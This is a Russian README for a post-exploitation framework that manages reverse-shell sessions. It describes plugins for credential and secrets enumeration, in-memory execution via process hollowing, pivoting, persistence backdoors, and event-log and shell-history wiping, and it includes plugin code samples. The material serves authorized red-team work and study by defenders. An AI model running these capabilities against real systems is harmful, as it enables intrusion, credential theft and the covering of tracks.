Модульный фреймворк для постэксплуатации, управляющий сессиями reverse-shell через TCP/TLS/mTLS с плагинами для перечисления, выполнения в памяти, SOCKS5-пивотинга и персистентности.
Легковесный модульный фреймворк для постэксплуатации, предназначенный для авторизованных исследований в области безопасности, red-team операций и тестирования на проникновение. TornadoRevC2 управляет сессиями обратных оболочек на хостах Linux и Windows через единую консоль оператора, расширяя базовую обработку сессий кросс-платформенной архитектурой плагинов для перечисления хостов, ситуационной осведомлённости и операционных задач.
Важно: TornadoRevC2 — это обработчик сессий и фреймворк для постэксплуатации, а не beacon-платформа командования и управления. Он отдаёт приоритет надёжным интерактивным оболочкам, структурированным рабочим процессам оператора и выполнению плагинов по требованию, а не инфраструктуре постоянных агентов.
Используйте это программное обеспечение только на системах, которыми вы владеете, или на системах, на которых у вас есть явное письменное разрешение. Вы несёте единоличную ответственность за соблюдение применимых законов и организационных политик. Авторы и участники не несут никакой ответственности за неправомерное использование, потерю данных или юридические последствия, возникшие в результате использования этого проекта.
Краткая демонстрация: управление сессиями, выполнение плагинов, SOCKS5-пивотинг.
TornadoRevC2 — это модульный фреймворк управления обратными оболочками, который принимает входящие соединения по обычному TCP, TLS с аутентификацией сервера и взаимному TLS (mTLS) с проверкой клиентского сертификата, предоставляя единую консоль оператора для управления сессиями, разведки хостов, чанковой передачи файлов, выполнения полезной нагрузки в памяти, SOCKS5-пивотинга, постэксплуатации на основе плагинов, структурированной отчётности и встроенной команды update для автоматических обновлений на основе Git и бесшовных перезапусков обработчика. Изначально разработанный как легковесный обработчик обратных оболочек, проект превратился в расширяемый фреймворк, в котором такие возможности, как перечисление брандмауэра, сбор метаданных хранилища учётных данных, картографирование сети, профилирование браузеров и дополнительная функциональность постэксплуатации, реализованы в виде независимых модульных плагинов. Фреймворк также включает плагин make_token для установления новых C2-сессий через удалённые протоколы (SSH, WinRM, SMB, RDP, WMI, MSSQL) с использованием инструментов командной строки со стороны оператора, с поддержкой пользовательских портов, аутентификации по NTLM-хешу и интеграции с netexec, а также плагин upgrade_mtls, который переносит активную сессию на слушатель взаимного TLS путём доставки на цель пакета клиентских сертификатов обработчика.
Поддерживаемые целевые платформы: Linux и Windows (основные), с совместимостью с универсальными Unix и BSD-средами, где это применимо.
| Категория | Возможности |
|---|---|
| Обработка сессий | Многоклиентские слушатели TCP / TLS / mTLS с автоматической инициализацией PKI · Обновление до mTLS по требованию для активных сессий · Интерактивные оболочки PTY/TTY · Идентификация сессий и отслеживание переподключений |
| Передача файлов | Чанковая загрузка и скачивание · Проверка целостности SHA-256 |
| Выполнение полезной нагрузки | Выполнение в памяти для py, ps, exe, elf, bat и sh |
| Пивотинг и туннелирование | SOCKS5-прокси через скомпрометированные сессии с автоматической удалённой очисткой · Развёртывание агентов Ligolo-NG и Chisel с фоновым сохранением |
| Установление удалённых сессий | make_token — установление новых сессий через SSH, WinRM, SMB, RDP, WMI и MSSQL со стороны оператора, с аутентификацией по NTLM-хешу и интеграцией с netexec |
| Имперсонация | runas — выполнение команд или запуск TLS-шифрованной оболочки от имени другого пользователя, локально или удалённо, с поддержкой домена и интеграцией с netexec |
| Перечисление | Охватывает триаж хоста, сетевую конфигурацию, учётные данные и метаданные браузеров, билеты Kerberos, внутренности Linux, а также доменную и системную конфигурацию Windows |
| Операционные плагины | Многопроходное безопасное стирание файлов · Гибридное шифрование файлов · Очистка истории оболочки · Очистка журнала событий Windows |
| Персистентность | Кросс-платформенная установка бэкдора с использованием TLS-шифрованных полезных нагрузок — cron @reboot в Linux/Unix, реестр Run в Windows |
| Расширяемость | Загрузка, перезагрузка и выгрузка плагинов во время выполнения · Внешние плагины через TORNADOREVC2_PLUGIN_DIR · Документированный API SessionContext |
| Отчётность | Журналирование по сессиям · Структурированный вывод плагинов · Экспорт HTML-транскриптов |
| Самообновление | Команда update на основе Git с проверкой репозитория, fast-forward pull и автоматическим перезапуском обработчика · Дружелюбна к форкам, с обнаружением расхождений и безопасным запросом сброса |
Не поддерживается: Планирование задач или инфраструктура обратных вызовов в стиле beacon.
TornadoRevC2 разработан для сред, где важны сложность развёртывания и операционный след.
Плагины используют нативные утилиты Windows и Linux и встроенные системные команды, уже присутствующие на целевом хосте — netsh, ss, iptables, ufw, firewall-cmd, nft, командлеты PowerShell, nmcli, wevtutil и другие. Сборщики вызывают эти инструменты через канал обратной оболочки и разбирают вывод удалённо, минимизируя необходимость загрузки дополнительных бинарников или установки зависимостей.
Операции плагинов выполняются через существующий канал обратной оболочки и не требуют сброса бинарников, исполняемых файлов, скриптов или временных файлов на целевую систему. Задачи перечисления выполняются как нативные команды или внутрипроцессные скрипты-сборщики; результаты возвращаются в виде маркированного JSON через оболочку. Единственный неизбежный артефакт — обычная история команд, генерируемая самой оболочкой.
Когда процедура перечисления завершается неудачей, недоступна или истекает время ожидания, плагин не прерывается полностью. Затронутый раздел остаётся пустым или помечается N/A, а остальная часть отчёта продолжается.
Обновления обработчика доставляются через Git на машине оператора. Команда update использует ограниченные таймауты подпроцессов, неинтерактивные настройки Git и быстрый локальный путь завершения, чтобы обработчик мог надёжно перезапуститься без блокировки на очистке удалённых сессий.
┌─────────────────────────────────────────────────────────────────┐ │ Operator Console (handler) │ │ Sessions · Transfers · SOCKS · Plugins · Logging · Export · │ │ update │ └────────────────────────────┬────────────────────────────────────┘ │ reverse shell channel (TCP / TLS / mTLS) ▼ ┌─────────────────────────────────────────────────────────────────┐ │ Target Host │ │ Native commands · PowerShell · inline collectors │ │ T_PLUGIN_START + JSON + T_PLUGIN_END │ └─────────────────────────────────────────────────────────────────┘
### Конфигурация слушателей
TornadoRevC2 запускает **три независимых слушателя одновременно**, поэтому импланты могут подключаться по открытому тексту, TLS с аутентификацией сервера или взаимно аутентифицированному TLS в зависимости от модели угроз в рамках проекта:
| Слушатель | Порт по умолчанию | Флаг | Аутентификация | Сертификаты |
|----------|--------------|------|----------------|--------------|
| TCP | `4444` | `-p` | Нет | Нет |
| TLS | `8443` | `-tp` | Аутентификация сервера | `tls_certs/server.pem`, `tls_certs/server.key` |
| mTLS | `9443` | `-mp` | Взаимная (требуется сертификат клиента) | пакет `mtls_certs/` (CA + сервер + клиент) |
Флаг `-H` задаёт адрес привязки, общий для всех трёх слушателей. Все три могут быть включены одновременно; отключать один сейчас не требуется — оставьте порт свободным или непривязанным, чтобы игнорировать его.
**Автоматическая генерация сертификатов.** При первом запуске обработчик создаёт два изолированных каталога и инициализирует необходимые материалы:```text
tls_certs/
server.pem # self-signed server certificate
server.key # server private key
mtls_certs/
ca.pem # mTLS certificate authority (self-signed, 4096-bit RSA)
ca.key # CA private key
ca.srl # OpenSSL serial counter (auto-generated)
server-mtls.pem # server cert signed by CA
server-mtls.key # server private key
client.pem # client cert signed by CA — ship to implant
client.key # client private key — ship to implant
tornadorevc2/plugins/ shared/ Cross-platform plugins with internal Windows/Linux implementations linux/ Linux/Unix-only plugins and collector builders windows/ Windows-only plugins (rdp, services, eventlogdel, …) api.py SessionContext and @plugin.command registration manager.py Runtime loading, execution, and platform filtering loader.py Automatic module discovery
**Общие плагины** (`firewall`, `ports`, `browser`, `credstore` и другие) существуют как единые унифицированные модули в `shared/`. **Платформозависимые плагины**, такие как `rdp` и `eventlogdel`, находятся исключительно в `windows/` или `linux/` и не дублируются в `shared/`.
Коллекторы выводят JSON, обёрнутый в маркерные токены (`__T_PLUGIN_START__` / `__T_PLUGIN_END__`). Общий раннер разбирает этот вывод, формирует отчёт для оператора и сохраняет результаты в каталоге журнала сессии.
---
## Требования и установка
**Обработчик (машина оператора):**
- Python 3.7 или новее
- OpenSSL (для автоматической генерации сертификатов TLS и mTLS)
- Git (опционально; требуется для команды оператора `update`)
- Сторонние пакеты Python не требуются```bash
git clone https://github.com/kamalx06/TornadoRevC2.git
cd TornadoRevC2
python3 tornadorevc2.py
python tornadorevc2.py
python tornadorevc2.py -H 0.0.0.0 -p 4444 -tp 8443 -mp 9443
python tornadorevc2.py
-c tls_certs/server.pem -k tls_certs/server.key
--mtls-ca-cert mtls_certs/ca.pem --mtls-ca-key mtls_certs/ca.key
--mtls-server-cert mtls_certs/server-mtls.pem --mtls-server-key mtls_certs/server-mtls.key
--mtls-client-cert mtls_certs/client.pem --mtls-client-key mtls_certs/client.key
### 2. Установка сессии
Разверните обратную оболочку из встроенного каталога (`payloads`) или используйте собственный имплант. При подключении TornadoRevC2 присваивает идентификатор сессии и начинает вести журнал в `logs/`.
### 3. Работа```bash
status # List active sessions
switch 1 # Attach to session 1
sysinfo 1 # Collect host metadata
run credstore 1 # Credential store metadata
run memorymap 1 1234 # Process memory maps (requires PID)
run inmemory 1 sh ./linpeas.sh # In-memory script execution
update # Pull latest from GitHub and restart (Git installs)
При подключении через switch <ID> опускайте идентификатор сессии в последующих командах (run quickenum вместо run quickenum 1). Списки плагинов и автодополнение по TAB внутри клиентской сессии фильтруются до плагинов, совместимых с платформой этой сессии.
Команда update доступна только из главной строки приглашения обработчика. Она проверяет, что Git установлен, подтверждает, что установка является рабочим деревом Git, выполняет fetch из настроенного удалённого репозитория, выполняет fast-forward pull при наличии обновлений и перезапускает обработчик с тем же исполняемым файлом и аргументами. Если установка уже актуальна, выводится TornadoRevC2 is already running the latest version. и сервер продолжает работу.
| Команда | Описание |
|---|---|
status / ls | Список активных сессий обратных оболочек |
sessions | Показать отслеживаемые сессии, включая отключённые хосты |
reconnects | Отобразить историю переподключений сессий |
switch <ID> | Подключиться к интерактивной оболочке сессии |
kill <ID> | Завершить сессию |
rename <ID> <name> / rn <ID> <name> | Присвоить понятное имя |
sysinfo <ID> [--stealth|--full] | Собрать или обновить информацию о хосте |
export <ID> | Экспортировать HTML-транскрипт сессии |
| Команда | Описание |
|---|---|
plugins / plugins list | Список зарегистрированных плагинов |
plugins list --verbose | Показать пути к модулям и состояние загрузки |
plugins load <name> | Загрузить внешний плагин во время выполнения |
plugins unload <name> | Отключить или выгрузить плагин |
plugins reload <name> | Перезагрузить модуль плагина |
plugins info <name> | Отобразить метаданные плагина |
run <plugin> <ID> [args...] | Выполнить плагин для сессии |
| Команда | Описание |
|---|---|
upload [--resume] <ID> <local> <remote> | Загрузка с чанковой передачей |
download [--resume] <ID> <remote> <local> | Скачивание с чанковой передачей |
verify <ID> <remote> / hash <ID> <remote> | Проверить размер удалённого файла и SHA-256 |
| Команда | Описание |
|---|---|
run inmemory <ID> <type> <local_file> [-- args] [--save-output <file>] | Выполнить полезную нагрузку в памяти |
Поддерживаемые типы: py, ps, exe, elf, bat, sh
| Команда | Форма внутри сессии | Описание |
|---|---|---|
socks <ID> <listen_port> | socks <listen_port> | Запустить SOCKS5-прокси через сессию (локальный слушатель на 127.0.0.1:<listen_port>) |
socks <ID> test <host> <port> | socks test <host> <port> | Проверить TCP-доступность внутреннего хоста через туннельный агент |
socks <ID> reset | socks reset | Сбросить потоки туннельного агента и отбросить буферизованные данные (не останавливает активные SOCKS-слушатели) |
socks stop <proxy_id> | socks stop <proxy_id> | Остановить SOCKS-прокси и очистить удалённые артефакты туннеля, когда сессия не используется другими прокси |
tunnels | tunnels | Список активных SOCKS-прокси, количество каналов и статус |
| Команда | Описание |
|---|---|
payloads | Отобразить встроенный справочник полезных нагрузок |
update | Проверить обновления из официального репозитория GitHub и перезапуститься после успешного fast-forward pull (требуется Git; только главное меню) |
help | Показать справочник команд |
exit / quit | Завершить работу обработчика |
TornadoRevC2 поставляется с 51 встроенным плагином, организованным по функциям. Все плагины, связанные с перечислением, доступны только для чтения, если не указано иное.
| Плагин | Платформа | Описание |
|---|---|---|
quickenum | Кроссплатформенный | Быстрая структурированная сортировка хоста: идентификация, сеть, окружение, приоритизированные находки |
virtualization | Кроссплатформенный | Обнаружение виртуализации, контейнеров, оркестрации и облачного окружения |
kernel | Кроссплатформенный | Версия ядра, загруженные модули/драйверы, средства защиты и конфигурация ядра |
integrity | Кроссплатформенный | Secure Boot, BitLocker/LUKS, принудительная подпись кода, блокировка ядра и средства защиты целостности |
filesearch | Кроссплатформенный | Поиск файлов по пути, имени, расширению, размеру, владельцу, mtime (run filesearch help для опций) |
packages | Кроссплатформенный | Установленное ПО, менеджеры пакетов, конфигурация репозиториев и недавние установки |
sysinfo | Кроссплатформенный | Сбор метаданных хоста (команда обработчика, не плагин) |
kerberosenum | Кроссплатформенный | Метаданные билетов Kerberos: кэши, основной принципал, realm, TGT, сервисные билеты, типы шифрования, флаги (renewable/forwardable), файлы keytab, конфигурация krb5.conf/реестра и переменные окружения (без секретов) |
| Плагин | Платформа | Описание |
|---|---|---|
firewall | Кроссплатформенный | Статус брандмауэра, профили/зоны, политики и заметные правила (WDF, UFW, firewalld, nftables, iptables) |
ports | Кроссплатформенный | Слушающие порты, установленные соединения, владеющие процессы и маршрутизация |
proxy | Кроссплатформенный | Системные, окружения, PAC/WPAD и браузерные настройки прокси |
vpn | Кроссплатформенный | VPN-клиенты, активные подключения, адаптеры и метаданные конфигурации |
| Плагин | Платформа | Описание |
|---|---|---|
credstore | Кроссплатформенный | Метаданные хранилища учётных данных (без извлечения секретов): Credential Manager, keyrings, хранилища браузеров |
browser | Кроссплатформенный | Установленные браузеры, профили, расширения, закладки и корпоративные политики |
clipboard | Кроссплатформенный | Захват текста удалённого буфера обмена |
secrets | Linux/Unix | Конфигурационные файлы, переменные окружения, SSH-ключи и облачные учётные данные |
| Плагин | Платформа | Описание |
|---|---|---|
history | Кроссплатформенный | История оболочки, журналы пакетов/обновлений и недавняя активность входа |
mounts | Кроссплатформенный | Точки монтирования, SMB/NFS-ресурсы, подключённые диски, файловые системы контейнеров |
memorymap | Кроссплатформенный | Карты памяти процессов и загруженные модули для указанного PID |
screenshot | Кроссплатформенный | Захват рабочего стола, возвращаемый оператору (сессии GUI; PNG сохраняется локально) |
cron | Linux/Unix | Задания cron, системные crontab, пользовательские crontab и очереди at |
systemd | Linux/Unix | Службы, таймеры, сбойные юниты и включённые юниты автозапуска |
privbins | Linux/Unix | Бинарные файлы SUID/SGID, возможности файлов и исполняемые файлы, релевантные для повышения привилегий |
lsm | Linux/Unix | SELinux, AppArmor и другие Linux Security Modules: режим принуждения, политики и конфигурация |
journal | Linux/Unix | Структурированные сводки journalctl: аутентификация, ядро, сбои служб и недавние события |
sshaudit | Linux/Unix | Перечисление SSH-сервера: действующая конфигурация sshd, поверхность аутентификации, варианты пивотирования, ключи хоста, authorized_keys и доверие CA |
containers | Linux/Unix | Среды выполнения и рабочие нагрузки контейнеров: Docker, Podman, containerd, CRI-O, LXC/LXD и индикаторы Kubernetes |
usersessions | Кроссплатформенный | Активные локальные, удалённые, SSH, RDP, консольные и служебные сессии с метаданными входа/источника |
| Плагин | Платформа | Описание |
|---|---|---|
adinfo | Windows | Членство в домене, контроллеры домена, леса, доверия и OU |
services | Windows | Службы Windows, типы запуска, бинарные файлы и учётные записи служб |
scheduledtasks | Windows | Запланированные задачи, триггеры, контекст выполнения и действия |
registry | Windows | Ключи автозапуска, расположения автозагрузки и установленное ПО |
eventlogs | Windows | Сводки журналов Security, System, Application и PowerShell |
defender | Windows | Статус Microsoft Defender, исключения, правила ASR и сторонний антивирус |
certificates | Windows | Хранилища сертификатов, подпись кода и корпоративные сертификаты |
rdp | Windows | Конфигурация Remote Desktop, статус, недавние цели и настройки |
gpo | Windows | Применённые GPO, локальные/доменные политики безопасности, AppLocker, WDAC, SRP и скрипты GPO |
winrm | Windows | Конфигурация WinRM, слушатели, методы аутентификации, интеграция с брандмауэром и статус remoting |
drivers | Windows | Установленные драйверы и модули ядра, статус подписи, тип запуска и заметные драйверы безопасности/VM |
powershell | Windows | Версия PowerShell, политика выполнения, журналирование, модули, настройки remoting и пути профилей |
lsa | Windows | Защита LSA, Credential Guard, безопасность на основе виртуализации и конфигурация безопасности учётных данных |
| Плагин | Платформа | Описание |
|---|---|---|
inmemory | Кроссплатформенный | Выполнение полезной нагрузки в памяти (py, ps, exe, elf, bat, sh) |
make_token | Кроссплатформенный | Установка C2-сессий через удалённые протоколы (SSH, WinRM, SMB, RDP, WMI, MSSQL) с использованием CLI-инструментов со стороны оператора с поддержкой пользовательских портов, NTLM-хэшей и интеграции с netexec |
nullcrypt | Кроссплатформенный | Гибридное шифрование файла (AES-GCM + ключ, обёрнутый RSA) с последующим безопасным стиранием оригинала через wiper |
wiper | Кроссплатформенный | Настраиваемое многопроходное безопасное перезаписывание (переименование, усечение, удаление); профили: quick, standard, dod, thorough, shred |
historydel | Кроссплатформенный | Очистка файлов истории оболочки текущего пользователя и связанного хранилища |
eventlogdel | Windows | Очистка журналов событий Windows через нативные wevtutil / Clear-EventLog |
runas | Windows | Выполнение команд или запуск TLS‑шифрованной обратной оболочки от имени другого пользователя (локально/удалённо) с управлением учётными данными, поддержкой домена и интеграцией с netexec |
ligolong | Кроссплатформенный | Развёртывание туннельного агента Ligolo‑NG на целях Linux/Windows с фоновой персистентностью |
chisel | Кроссплатформенный | Развёртывание туннельного агента Chisel в режиме reverse (клиент) или bind (сервер); поддержка SOCKS5 и фоновой персистентности |
persistence | Кроссплатформенный | Установка персистентного бэкдора обратной оболочки (cron @reboot / реестр Run) с использованием TLS‑шифрованной полезной нагрузки |
upgrade_mtls | Кроссплатформенный | Отправка клиентского mTLS-бандла обработчика в сессию и её перезапуск через mTLS-слушатель (по желанию; не влияет на другие слушатели) |
Методы выполнения в памяти:
| Тип | Метод |
|---|---|
py | Python через exec(compile(...)) |
ps | PowerShell через Invoke-Expression |
exe | Windows PE через in-memory RunPE (process hollowing) |
elf | Linux ELF через memfd_create с запасным вариантом /dev/shm |
sh | Shell-скрипт, передаваемый через bash -s |
bat | Batch-скрипт, передаваемый через stdin cmd.exe /Q |
Скрипты PEASS-ng для in-memory privesccheck: github.com/carlospolop/PEASS-ng
В этом разделе описывается, как расширить TornadoRevC2 пользовательскими плагинами. Плагины — это обычные модули Python, которые регистрируют команды с помощью @plugin.command и получают SessionContext для целевой сессии. Изменения в основном коде обработчика не требуются.
Система плагинов имеет четыре уровня:
| Уровень | Модуль | Ответственность |
|---|---|---|
| Регистрация | plugins/api.py | Декоратор @plugin.command, глобальный реестр команд, SessionContext |
| Обнаружение | plugins/loader.py | Сканирует shared/, linux/, windows/ и внешние каталоги; импортирует модули |
| Выполнение | plugins/manager.py | Определяет платформу, строит контекст, вызывает обработчик, обрабатывает ошибки |
| Коллекторы | plugins/shared/runner.py | Разбор маркеров, извлечение JSON, форматирование отчётов, журналирование |
Во время импорта декоратор @plugin.command регистрирует каждый обработчик в потокобезопасном глобальном реестре. Во время выполнения PluginManager.run_plugin() проверяет совместимость платформы, создаёт SessionContext и вызывает обработчик с (session, args).
Обработчики возвращают целочисленный код выхода: 0 при успехе, ненулевой при сбое. Консоль обработчика отображает предупреждения для ненулевых возвратов.
Выберите расположение в зависимости от области платформы и того, поставляется ли плагин с проектом:
| Расположение | Область | Загружается |
|---|---|---|
tornadorevc2/plugins/shared/ | Кроссплатформенный (внутренние реализации для Windows + Linux) | Автоматически при запуске |
tornadorevc2/plugins/linux/ | Только Linux/Unix | Автоматически при запуске |
tornadorevc2/plugins/windows/ | Только Windows | Автоматически при запуске |
./plugins/myplugin.py | Внешний (любая определяемая вами область) | По требованию через plugins load |
./plugins/myplugin/__init__.py | Внешний пакет | По требованию через plugins load |
Путь в TORNADOREVC2_PLUGIN_DIR | Внешний (пользовательский каталог) | По требованию через plugins load |
Правила компоновки:
common.py, runner.py и __init__.py в shared/ пропускаются при обнаружении._ в linux/ или windows/, являются вспомогательными модулями, а не плагинами.shared/ с внутренним ветвлением по платформам — не дублируйте кроссплатформенные плагины одновременно в shared/ и linux//windows/.rdp, eventlogdel) должны находиться исключительно в windows/ или linux/.Зарегистрируйте команду с помощью декоратора @plugin.command:```python
from tornadorevc2.plugins import plugin, SessionContext
@plugin.command(
name="myplugin", # Command name used with run myplugin <ID>
platforms=["linux", "windows", "unix"], # Supported session platforms
description="Short description for plugins list and TAB completion",
)
def run(session: SessionContext, args):
...
return 0 # 0 = success, non-zero = failure
**Значения платформы:** `linux`, `windows`, `unix`. Linux и `unix` считаются совместимыми — плагин, зарегистрированный для `linux`, работает на обеих. Значение по умолчанию, если не указано: `["linux", "windows", "unix"]`.
**Несколько команд на модуль:** Один файл может зарегистрировать несколько команд, применив `@plugin.command` к нескольким функциям. Каждая получает независимое имя.
### Жизненный цикл выполнения
Когда оператор запускает `run myplugin 1 arg1 arg2`:```text
1. PluginManager resolves session #1 and looks up "myplugin" in the registry
2. Platform check: plugin.platforms vs session shell type (unix/windows)
3. SessionContext(handler, client_socket) is constructed
4. Handler invoked: run(ctx, ["arg1", "arg2"])
5. Handler executes remote work via run_shell / run_marked / run_collector_plugin
6. Output printed to operator console; results logged under logs/<session>/plugins/
7. Exit code returned (0 = success)
Внутри присоединённой сессии (switch <ID>) идентификатор сессии опускается, а аргументы начинаются сразу после имени плагина: run myplugin arg1 arg2.
Используйте, когда нужна быстрая одноразовая команда без структурированного разбора JSON. Обработчик выполняет нативную shell-команду, выводит результат и записывает его в журнал.```python from tornadorevc2.plugins import plugin, SessionContext
@plugin.command( name="whoami", platforms=["linux", "windows", "unix"], description="Print remote user identity", ) def run(session: SessionContext, args): session.log_event("Plugin whoami: started")
if session.is_windows:
cmd = "whoami /all"
else:
cmd = "id 2>/dev/null || whoami"
output = session.run_shell(cmd, timeout=10.0)
if not output.strip():
session.print("Plugin 'whoami' failed — no output from target.", "red")
session.log_plugin_result("whoami", "", "no output")
return 1
report = output.strip()
session.print(report, "cyan")
session.log_plugin_result("whoami", report)
session.log_command("run whoami", report)
return 0
**Когда использовать:** Простые пробы, однострочная энумерация, команды, не требующие структурированных отчётов.
**Ключевые методы:** `session.run_shell(cmd, timeout)`, `session.print(text, color)`, `session.log_plugin_result(name, report, detail='')`.
### Шаблон 2: Структурированный сборщик (рекомендуется)
Используйте для плагинов энумерации, которые собирают структурированные данные на цели и возвращают форматированный отчёт. Это шаблон, используемый всеми встроенными плагинами разведки (`firewall`, `ports`, `browser` и т. д.).
**Поток:**```text
Handler Target host
│ │
├─ session.log_event("started") │
├─ flush shell buffer │
├─ resolve platform (unix/windows) │
├─ build collector command/script ─────►│ Linux: inline Python or native shell
│ │ Windows: PowerShell script in-process
│ ├─ invoke native OS commands
│ ├─ assemble result dict
│ └─ emit __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__
│◄──────────────────────────────────────┤
├─ parse_collector_json(raw) │
├─ formatter(data) → report string │
├─ session.print(report) │
└─ session.log_plugin_result(...) │
Минимальный кроссплатформенный пример:```python from tornadorevc2.plugins import plugin, SessionContext from tornadorevc2.plugins.linux._helpers import build_linux_collector_command from tornadorevc2.plugins.shared.common import format_generic_report from tornadorevc2.plugins.shared.runner import run_collector_plugin from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _linux_collector_source(): # Runs inside a try/except wrapper on the target. # Call _emit(result) with a JSON-serializable dict — do NOT print markers yourself. return r''' import subprocess result = {'summary': {}, 'processes': []} try: out = subprocess.check_output(['ps', 'auxww'], stderr=subprocess.STDOUT, timeout=10) lines = out.decode('utf-8', errors='replace').splitlines() result['summary'] = {'count': max(0, len(lines) - 1)} result['processes'] = lines[1:51] except Exception as exc: result['summary'] = {'error': str(exc)} _emit(result) '''
def _build_linux_command(): return build_linux_collector_command(_linux_collector_source())
def _build_windows_command(): return rf""" $ErrorActionPreference='SilentlyContinue' $start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}' $procs = Get-CimInstance Win32_Process -EA 0 | Select-Object -First 50 ProcessId, Name, CommandLine $result = [ordered]@{{ summary = @{{ count = @($procs).Count }} processes = @($procs) }} Write-Output ($start + (ConvertTo-Json $result -Depth 4 -Compress) + $end) """
@plugin.command( name="processes", platforms=["linux", "windows", "unix"], description="List running processes on the remote host", ) def run(session: SessionContext, args): return run_collector_plugin( session, "processes", _build_linux_command, # callable — built at execution time _build_windows_command, # callable — built at execution time format_generic_report, # turns parsed dict into operator-facing text timeout=25.0, # seconds to wait for marked output )
**Параметры `run_collector_plugin`:**
| Параметр | Тип | Описание |
|-----------|------|-------------|
| `session` | `SessionContext` | Целевая сессия |
| `plugin_name` | `str` | Имя, используемое в логах и сообщениях об ошибках |
| `unix_builder` | `Callable[[], str]` или `None` | Возвращает команду оболочки Unix/Linux; `None`, если недоступно |
| `win_builder` | `Callable[[], str]` или `None` | Возвращает скрипт PowerShell; `None`, если недоступно |
| `formatter` | `Callable[[dict], str]` | Преобразует разобранный JSON-словарь в строку отчёта |
| `timeout` | `float` | Максимальное время ожидания маркированного вывода в секундах (по умолчанию 30) |
Передайте `None` для платформенного билдера, чтобы пометить плагин как недоступный в этой ОС (см. [Плагины для конкретных платформ](#platform-specific-plugins)).
После сохранения внешнего плагина:```bash
plugins load processes
plugins info processes
run processes 1
Используйте, когда требуется проверка аргументов, динамическое создание коллектора, постобработка коллектора или обработка файлов на стороне оператора, которую run_collector_plugin не покрывает в одиночку.
Примеры в кодовой базе:
| Плагин | Пользовательское поведение |
|---|---|
memorymap | Требует аргумент PID; динамически создаёт коллектор со встроенным PID |
wiper | Требует удалённый путь; деструктивное действие с выводом подтверждения |
screenshot | Декодирует изображение base64 и сохраняет PNG локально на машине оператора |
historydel | Запускает коллектор, затем отправляет последующую shell-команду для очистки истории в памяти |
clipboard | Пользовательская обработка мягких сбоев через поле reason вместо жёсткой error |
Пример проверки аргументов (из memorymap):```python
import re
from tornadorevc2.plugins import plugin, SessionContext
from tornadorevc2.plugins.shared.runner import _run_collector_marked, parse_collector_json
@plugin.command( name="memorymap", platforms=["linux", "windows", "unix"], description="Enumerate memory maps for a process (requires PID)", ) def run(session: SessionContext, args): if not args or not re.match(r"^\d+$", args[0].strip()): session.print("Usage: run memorymap ", "yellow") return 1
pid = args[0].strip()
session.log_event(f"Plugin memorymap: started for PID {pid}")
session._handler._flush_shell(session._client_sock, timeout=1.0)
unix_cmd = _build_linux_command(pid) # builder accepts runtime args
win_ps = _build_windows_command(pid)
raw = _run_collector_marked(session, unix_cmd, win_ps, session.platform, 45.0)
if raw is None:
session.print("Plugin 'memorymap' failed — no response from target.", "red")
return 1
data = parse_collector_json(raw)
report = format_memorymap_report(data)
session.print(report, "cyan")
session.log_plugin_result("memorymap", report, ...)
return 0
**Пример пост-обработки коллектора** (из `historydel`):```python
def run(session: SessionContext, args):
# ... run collector via _run_collector_marked ...
data = parse_collector_json(raw)
# Additional in-memory cleanup in the interactive shell
if session.is_unix:
session.run_shell("history -c 2>/dev/null; history -w 2>/dev/null; true", timeout=5.0)
elif session.is_windows:
session.run_marked("", "Clear-History -ErrorAction SilentlyContinue", timeout=5.0)
report = format_historydel_report(data)
session.print(report, "green" if data.get("cleared") else "yellow")
return 0
Для прямого доступа к маркированному выполнению без полной обёртки коллектора используйте _run_collector_marked и parse_collector_json из plugins/shared/runner.py.
Linux-коллекторы — это строки исходного кода Python, выполняемые на цели через build_linux_collector_command().
Структура:
_linux_collector_source(), возвращающую необработанную строку (r'''...''').result._emit(result) в конце — никогда не выводите маркеры вручную._build_linux_command() → build_linux_collector_command(source).Обёртка в linux/_helpers.py автоматически:
try/except_emit(obj) для записи __T_PLUGIN_START__ + JSON + __T_PLUGIN_END__{"error": "...", "traceback": "..."} при необработанных исключенияхpython3 -c (или запасной вариант python2)/tmp только когда закодированная полезная нагрузка превышает ~4000 байтПредпочитайте нативные команды:```python def sh(cmd, timeout=5): try: out = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT, timeout=timeout) return out.decode("utf-8", "ignore") except Exception: return ""
result = {"summary": {}, "ports": []} output = sh("ss -tulpn 2>/dev/null || netstat -tulpn 2>/dev/null", 10) for line in output.splitlines()[:60]: result["ports"].append(line.strip()) _emit(result)
**Рекомендации:**
- Используйте `subprocess.check_output(..., timeout=N)` для каждой внешней команды.
- Обрезайте большие списки перед выводом (ограничение 50–80 записей).
- Обрабатывайте отсутствующие инструменты корректно — оставляйте разделы пустыми вместо выброса исключения.
- Избегайте встраивания маркерных строк в вывод; плагин `history` вычищает `__T_PLUGIN_*__` из собранного текста именно по этой причине.
- Делайте коллекторы компактными, чтобы оставаться в пределах лимита встроенного размера и избегать промежуточного размещения в `/tmp`.
### Коллекторы Windows
Коллекторы Windows — это строки сценариев PowerShell, возвращаемые из `_build_windows_command()`.
**Структура:**```python
from tornadorevc2.constants import PLUGIN_MARK_END, PLUGIN_MARK_START
def _build_windows_command():
return rf"""
$ErrorActionPreference='SilentlyContinue'
$start='{PLUGIN_MARK_START}'; $end='{PLUGIN_MARK_END}'
$result = [ordered]@{{
summary = @{{ count = 0 }}
items = @()
}}
try {{
Get-CimInstance Win32_Service -EA 0 | Select-Object -First 50 | ForEach-Object {{
$result.items += @{{ name = $_.Name; state = $_.State }}
}}
$result.summary.count = $result.items.Count
}} catch {{
$result.summary.error = $_.Exception.Message
}}
Write-Output ($start + (ConvertTo-Json $result -Depth 5 -Compress) + $end)
"""
Рекомендации:
$ErrorActionPreference='SilentlyContinue' в начале.-EA 0 (ErrorAction SilentlyContinue) для командлетов, которые могут не работать на старых системах.{{ и }} для хеш-таблиц и блоков скриптов PowerShell.[ordered]@{{...}} для сохранения порядка ключей в выводе JSON.Get-NetTCPConnection, Get-Process, netsh, wevtutil) внешним инструментам.try/catch, чтобы одна ошибка не прерывала работу всего сборщика.win_client.py для надёжного захвата вывода.Альтернатива: Для плагинов только для Windows с минимальным количеством точек входа используйте одну функцию build_command():```python
@plugin.command(name="services", platforms=["windows"], description="...") def run(session: SessionContext, args): return run_collector_plugin(session, "services", None, build_command, format_generic_report, timeout=35.0)
### Соглашения о полезной нагрузке JSON
Коллекторы должны возвращать сериализуемый в JSON словарь. Средство запуска и форматтеры ожидают согласованного использования ключей:
